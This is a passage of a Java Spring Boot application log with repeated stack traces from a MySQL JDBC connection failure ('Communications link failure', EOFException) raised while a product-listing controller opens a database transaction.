	at com.mysql.jdbc.ConnectionImpl.connectOneTryOnly(ConnectionImpl.java:2554) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.ConnectionImpl.createNewIO(ConnectionImpl.java:2321) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.ConnectionImpl.<init>(ConnectionImpl.java:832) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.JDBC4Connection.<init>(JDBC4Connection.java:46) ~[mysql-connector-java-5.1.30.jar:na]
	at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method) ~[na:1.8.0_121]
	at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62) ~[na:1.8.0_121]
	at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) ~[na:1.8.0_121]
	at java.lang.reflect.Constructor.newInstance(Constructor.java:423) ~[na:1.8.0_121]
	at com.mysql.jdbc.Util.handleNewInstance(Util.java:409) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.ConnectionImpl.getInstance(ConnectionImpl.java:417) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.NonRegisteringDriver.connect(NonRegisteringDriver.java:344) ~[mysql-connector-java-5.1.30.jar:na]
	at com.zaxxer.hikari.util.DriverDataSource.getConnection(DriverDataSource.java:138) ~[HikariCP-3.4.1.jar:na]
	at com.zaxxer.hikari.pool.PoolBase.newConnection(PoolBase.java:353) ~[HikariCP-3.4.1.jar:na]
	at com.zaxxer.hikari.pool.PoolBase.newPoolEntry(PoolBase.java:201) ~[HikariCP-3.4.1.jar:na]
	at com.zaxxer.hikari.pool.HikariPool.createPoolEntry(HikariPool.java:473) [HikariCP-3.4.1.jar:na]
	at com.zaxxer.hikari.pool.HikariPool.checkFailFast(HikariPool.java:562) [HikariCP-3.4.1.jar:na]
	at com.zaxxer.hikari.pool.HikariPool.<init>(HikariPool.java:115) [HikariCP-3.4.1.jar:na]
	at com.zaxxer.hikari.HikariDataSource.getConnection(HikariDataSource.java:112) [HikariCP-3.4.1.jar:na]
	at com.zaxxer.hikari.HikariDataSource$$FastClassBySpringCGLIB$$eeb1ae86.invoke(<generated>) [HikariCP-3.4.1.jar:na]
	at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:218) [spring-core-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:769) [spring-aop-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:163) [spring-aop-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.proceed(CglibAopProxy.java:747) [spring-aop-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.aop.support.DelegatingIntroductionInterceptor.doProceed(DelegatingIntroductionInterceptor.java:136) [spring-aop-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.aop.support.DelegatingIntroductionInterceptor.invoke(DelegatingIntroductionInterceptor.java:124) [spring-aop-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:186) [spring-aop-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.proceed(CglibAopProxy.java:747) [spring-aop-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:689) [spring-aop-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at com.zaxxer.hikari.HikariDataSource$$EnhancerBySpringCGLIB$$4a56fa9d.getConnection(<generated>) [HikariCP-3.4.1.jar:na]
	at org.hibernate.engine.jdbc.connections.internal.DatasourceConnectionProviderImpl.getConnection(DatasourceConnectionProviderImpl.java:122) [hibernate-core-5.4.8.Final.jar:5.4.8.Final]
	at org.hibernate.internal.NonContextualJdbcConnectionAccess.obtainConnection(NonContextualJdbcConnectionAccess.java:38) [hibernate-core-5.4.8.Final.jar:5.4.8.Final]
	at org.hibernate.resource.jdbc.internal.LogicalConnectionManagedImpl.acquireConnectionIfNeeded(LogicalConnectionManagedImpl.java:104) [hibernate-core-5.4.8.Final.jar:5.4.8.Final]
	at org.hibernate.resource.jdbc.internal.LogicalConnectionManagedImpl.getPhysicalConnection(LogicalConnectionManagedImpl.java:134) [hibernate-core-5.4.8.Final.jar:5.4.8.Final]
	at org.hibernate.internal.SessionImpl.connection(SessionImpl.java:462) [hibernate-core-5.4.8.Final.jar:5.4.8.Final]
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:1.8.0_121]
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:1.8.0_121]
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:1.8.0_121]
	at java.lang.reflect.Method.invoke(Method.java:498) ~[na:1.8.0_121]
	at org.springframework.util.ReflectionUtils.invokeMethod(ReflectionUtils.java:279) [spring-core-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.util.ReflectionUtils.invokeMethod(ReflectionUtils.java:263) [spring-core-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.orm.jpa.vendor.HibernateJpaDialect$HibernateConnectionHandle.doGetConnection(HibernateJpaDialect.java:430) [spring-orm-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.orm.jpa.vendor.HibernateJpaDialect.beginTransaction(HibernateJpaDialect.java:174) [spring-orm-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.orm.jpa.JpaTransactionManager.doBegin(JpaTransactionManager.java:402) [spring-orm-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.transaction.support.AbstractPlatformTransactionManager.getTransaction(AbstractPlatformTransactionManager.java:376) [spring-tx-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.transaction.interceptor.TransactionAspectSupport.createTransactionIfNecessary(TransactionAspectSupport.java:572) [spring-tx-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:360) [spring-tx-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:99) [spring-tx-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:186) [spring-aop-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.dao.support.PersistenceExceptionTranslationInterceptor.invoke(PersistenceExceptionTranslationInterceptor.java:139) [spring-tx-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:186) [spring-aop-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.data.jpa.repository.support.CrudMethodMetadataPostProcessor$CrudMethodMetadataPopulatingMethodInterceptor.invoke(CrudMethodMetadataPostProcessor.java:178) [spring-data-jpa-2.2.1.RELEASE.jar:2.2.1.RELEASE]
	at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:186) [spring-aop-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.aop.interceptor.ExposeInvocationInterceptor.invoke(ExposeInvocationInterceptor.java:93) [spring-aop-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:186) [spring-aop-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.aop.framework.JdkDynamicAopProxy.invoke(JdkDynamicAopProxy.java:212) [spring-aop-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at com.sun.proxy.$Proxy113.findAll(Unknown Source) [na:na]
	at code.landgrey.services.ProductServiceImpl.listAll(ProductServiceImpl.java:30) [classes/:na]
	at code.landgrey.controllers.ProductController.listProducts(ProductController.java:36) [classes/:na]
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:1.8.0_121]
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:1.8.0_121]
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:1.8.0_121]
	at java.lang.reflect.Method.invoke(Method.java:498) ~[na:1.8.0_121]
	at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:190) [spring-web-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:138) [spring-web-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:106) [spring-webmvc-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:888) [spring-webmvc-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:793) [spring-webmvc-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87) [spring-webmvc-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1040) [spring-webmvc-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:943) [spring-webmvc-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1006) [spring-webmvc-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:898) [spring-webmvc-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:634) [tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:883) [spring-webmvc-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:741) [tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231) [tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) [tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53) [tomcat-embed-websocket-9.0.27.jar:9.0.27]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) [tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) [tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100) [spring-web-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119) [spring-web-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) [tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) [tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93) [spring-web-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119) [spring-web-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) [tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) [tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.springframework.boot.actuate.metrics.web.servlet.WebMvcMetricsFilter.doFilterInternal(WebMvcMetricsFilter.java:108) [spring-boot-actuator-2.2.1.RELEASE.jar:2.2.1.RELEASE]
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119) [spring-web-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) [tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) [tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201) [spring-web-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119) [spring-web-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) [tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) [tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:202) [tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96) [tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:526) [tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:139) [tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92) [tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74) [tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343) [tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:408) [tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66) [tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:861) [tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1579) [tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) [tomcat-embed-core-9.0.27.jar:9.0.27]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142) [na:1.8.0_121]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617) [na:1.8.0_121]
	at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) [tomcat-embed-core-9.0.27.jar:9.0.27]
	at java.lang.Thread.run(Thread.java:745) [na:1.8.0_121]
Caused by: java.io.EOFException: Can not read response from server. Expected to read 4 bytes, read 0 bytes before connection was unexpectedly lost.
	at com.mysql.jdbc.MysqlIO.readFully(MysqlIO.java:3161) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.MysqlIO.reuseAndReadPacket(MysqlIO.java:3615) ~[mysql-connector-java-5.1.30.jar:na]
	... 130 common frames omitted

2023-03-29 17:27:37.294  WARN 34728 --- [nio-9097-exec-5] o.h.engine.jdbc.spi.SqlExceptionHelper   : SQL Error: 0, SQLState: 08S01
2023-03-29 17:27:37.294 ERROR 34728 --- [nio-9097-exec-5] o.h.engine.jdbc.spi.SqlExceptionHelper   : Communications link failure

The last packet successfully received from the server was 2 milliseconds ago.  The last packet sent successfully to the server was 0 milliseconds ago.
2023-03-29 17:27:37.306 ERROR 34728 --- [nio-9097-exec-5] o.a.c.c.C.[.[.[/].[dispatcherServlet]    : Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception [Request processing failed; nested exception is org.springframework.transaction.CannotCreateTransactionException: Could not open JPA EntityManager for transaction; nested exception is org.hibernate.exception.JDBCConnectionException: Unable to acquire JDBC Connection] with root cause

java.io.EOFException: Can not read response from server. Expected to read 4 bytes, read 0 bytes before connection was unexpectedly lost.
	at com.mysql.jdbc.MysqlIO.readFully(MysqlIO.java:3161) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.MysqlIO.reuseAndReadPacket(MysqlIO.java:3615) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.MysqlIO.reuseAndReadPacket(MysqlIO.java:3604) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.MysqlIO.checkErrorPacket(MysqlIO.java:4155) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.MysqlIO.sendCommand(MysqlIO.java:2615) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.MysqlIO.sqlQueryDirect(MysqlIO.java:2776) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.ConnectionImpl.execSQL(ConnectionImpl.java:2832) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.ConnectionImpl.execSQL(ConnectionImpl.java:2781) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.StatementImpl.executeQuery(StatementImpl.java:1569) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor.populateMapWithSessionStatusValues(ServerStatusDiffInterceptor.java:74) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor.postProcess(ServerStatusDiffInterceptor.java:53) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.V1toV2StatementInterceptorAdapter.postProcess(V1toV2StatementInterceptorAdapter.java:40) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.NoSubInterceptorWrapper.postProcess(NoSubInterceptorWrapper.java:62) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.MysqlIO.invokeStatementInterceptorsPost(MysqlIO.java:3030) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.MysqlIO.sqlQueryDirect(MysqlIO.java:2956) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.ConnectionImpl.execSQL(ConnectionImpl.java:2832) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.ConnectionImpl.execSQL(ConnectionImpl.java:2781) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.StatementImpl.executeQuery(StatementImpl.java:1569) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.ConnectionImpl.loadServerVariables(ConnectionImpl.java:4218) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.ConnectionImpl.initializePropsFromServer(ConnectionImpl.java:3613) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.ConnectionImpl.connectOneTryOnly(ConnectionImpl.java:2554) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.ConnectionImpl.createNewIO(ConnectionImpl.java:2321) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.ConnectionImpl.<init>(ConnectionImpl.java:832) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.JDBC4Connection.<init>(JDBC4Connection.java:46) ~[mysql-connector-java-5.1.30.jar:na]
	at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method) ~[na:1.8.0_121]
	at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62) ~[na:1.8.0_121]
	at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) ~[na:1.8.0_121]
	at java.lang.reflect.Constructor.newInstance(Constructor.java:423) ~[na:1.8.0_121]
	at com.mysql.jdbc.Util.handleNewInstance(Util.java:409) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.ConnectionImpl.getInstance(ConnectionImpl.java:417) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.NonRegisteringDriver.connect(NonRegisteringDriver.java:344) ~[mysql-connector-java-5.1.30.jar:na]
	at com.zaxxer.hikari.util.DriverDataSource.getConnection(DriverDataSource.java:138) ~[HikariCP-3.4.1.jar:na]
	at com.zaxxer.hikari.pool.PoolBase.newConnection(PoolBase.java:353) ~[HikariCP-3.4.1.jar:na]
	at com.zaxxer.hikari.pool.PoolBase.newPoolEntry(PoolBase.java:201) ~[HikariCP-3.4.1.jar:na]
	at com.zaxxer.hikari.pool.HikariPool.createPoolEntry(HikariPool.java:473) ~[HikariCP-3.4.1.jar:na]
	at com.zaxxer.hikari.pool.HikariPool.checkFailFast(HikariPool.java:562) ~[HikariCP-3.4.1.jar:na]
	at com.zaxxer.hikari.pool.HikariPool.<init>(HikariPool.java:115) ~[HikariCP-3.4.1.jar:na]
	at com.zaxxer.hikari.HikariDataSource.getConnection(HikariDataSource.java:112) ~[HikariCP-3.4.1.jar:na]
	at com.zaxxer.hikari.HikariDataSource$$FastClassBySpringCGLIB$$eeb1ae86.invoke(<generated>) ~[HikariCP-3.4.1.jar:na]
	at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:218) ~[spring-core-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:769) ~[spring-aop-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:163) ~[spring-aop-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.proceed(CglibAopProxy.java:747) ~[spring-aop-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.aop.support.DelegatingIntroductionInterceptor.doProceed(DelegatingIntroductionInterceptor.java:136) ~[spring-aop-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.aop.support.DelegatingIntroductionInterceptor.invoke(DelegatingIntroductionInterceptor.java:124) ~[spring-aop-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:186) ~[spring-aop-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.proceed(CglibAopProxy.java:747) ~[spring-aop-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:689) ~[spring-aop-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at com.zaxxer.hikari.HikariDataSource$$EnhancerBySpringCGLIB$$4a56fa9d.getConnection(<generated>) ~[HikariCP-3.4.1.jar:na]
	at org.hibernate.engine.jdbc.connections.internal.DatasourceConnectionProviderImpl.getConnection(DatasourceConnectionProviderImpl.java:122) ~[hibernate-core-5.4.8.Final.jar:5.4.8.Final]
	at org.hibernate.internal.NonContextualJdbcConnectionAccess.obtainConnection(NonContextualJdbcConnectionAccess.java:38) ~[hibernate-core-5.4.8.Final.jar:5.4.8.Final]
	at org.hibernate.resource.jdbc.internal.LogicalConnectionManagedImpl.acquireConnectionIfNeeded(LogicalConnectionManagedImpl.java:104) ~[hibernate-core-5.4.8.Final.jar:5.4.8.Final]
	at org.hibernate.resource.jdbc.internal.LogicalConnectionManagedImpl.getPhysicalConnection(LogicalConnectionManagedImpl.java:134) ~[hibernate-core-5.4.8.Final.jar:5.4.8.Final]
	at org.hibernate.internal.SessionImpl.connection(SessionImpl.java:462) ~[hibernate-core-5.4.8.Final.jar:5.4.8.Final]
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:1.8.0_121]
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:1.8.0_121]
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:1.8.0_121]
	at java.lang.reflect.Method.invoke(Method.java:498) ~[na:1.8.0_121]
	at org.springframework.util.ReflectionUtils.invokeMethod(ReflectionUtils.java:279) ~[spring-core-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.util.ReflectionUtils.invokeMethod(ReflectionUtils.java:263) ~[spring-core-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.orm.jpa.vendor.HibernateJpaDialect$HibernateConnectionHandle.doGetConnection(HibernateJpaDialect.java:430) ~[spring-orm-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.orm.jpa.vendor.HibernateJpaDialect.beginTransaction(HibernateJpaDialect.java:174) ~[spring-orm-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.orm.jpa.JpaTransactionManager.doBegin(JpaTransactionManager.java:402) ~[spring-orm-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.transaction.support.AbstractPlatformTransactionManager.getTransaction(AbstractPlatformTransactionManager.java:376) ~[spring-tx-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.transaction.interceptor.TransactionAspectSupport.createTransactionIfNecessary(TransactionAspectSupport.java:572) ~[spring-tx-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:360) ~[spring-tx-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:99) ~[spring-tx-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:186) ~[spring-aop-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.dao.support.PersistenceExceptionTranslationInterceptor.invoke(PersistenceExceptionTranslationInterceptor.java:139) ~[spring-tx-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:186) ~[spring-aop-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.data.jpa.repository.support.CrudMethodMetadataPostProcessor$CrudMethodMetadataPopulatingMethodInterceptor.invoke(CrudMethodMetadataPostProcessor.java:178) ~[spring-data-jpa-2.2.1.RELEASE.jar:2.2.1.RELEASE]
	at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:186) ~[spring-aop-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.aop.interceptor.ExposeInvocationInterceptor.invoke(ExposeInvocationInterceptor.java:93) ~[spring-aop-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:186) ~[spring-aop-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.aop.framework.JdkDynamicAopProxy.invoke(JdkDynamicAopProxy.java:212) ~[spring-aop-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at com.sun.proxy.$Proxy113.findAll(Unknown Source) ~[na:na]
	at code.landgrey.services.ProductServiceImpl.listAll(ProductServiceImpl.java:30) ~[classes/:na]
	at code.landgrey.controllers.ProductController.listProducts(ProductController.java:36) ~[classes/:na]
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:1.8.0_121]
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:1.8.0_121]
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:1.8.0_121]
	at java.lang.reflect.Method.invoke(Method.java:498) ~[na:1.8.0_121]
	at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:190) ~[spring-web-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:138) ~[spring-web-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:106) ~[spring-webmvc-5.2.1.RELEASE.jar:5.2.1.RELEASE]
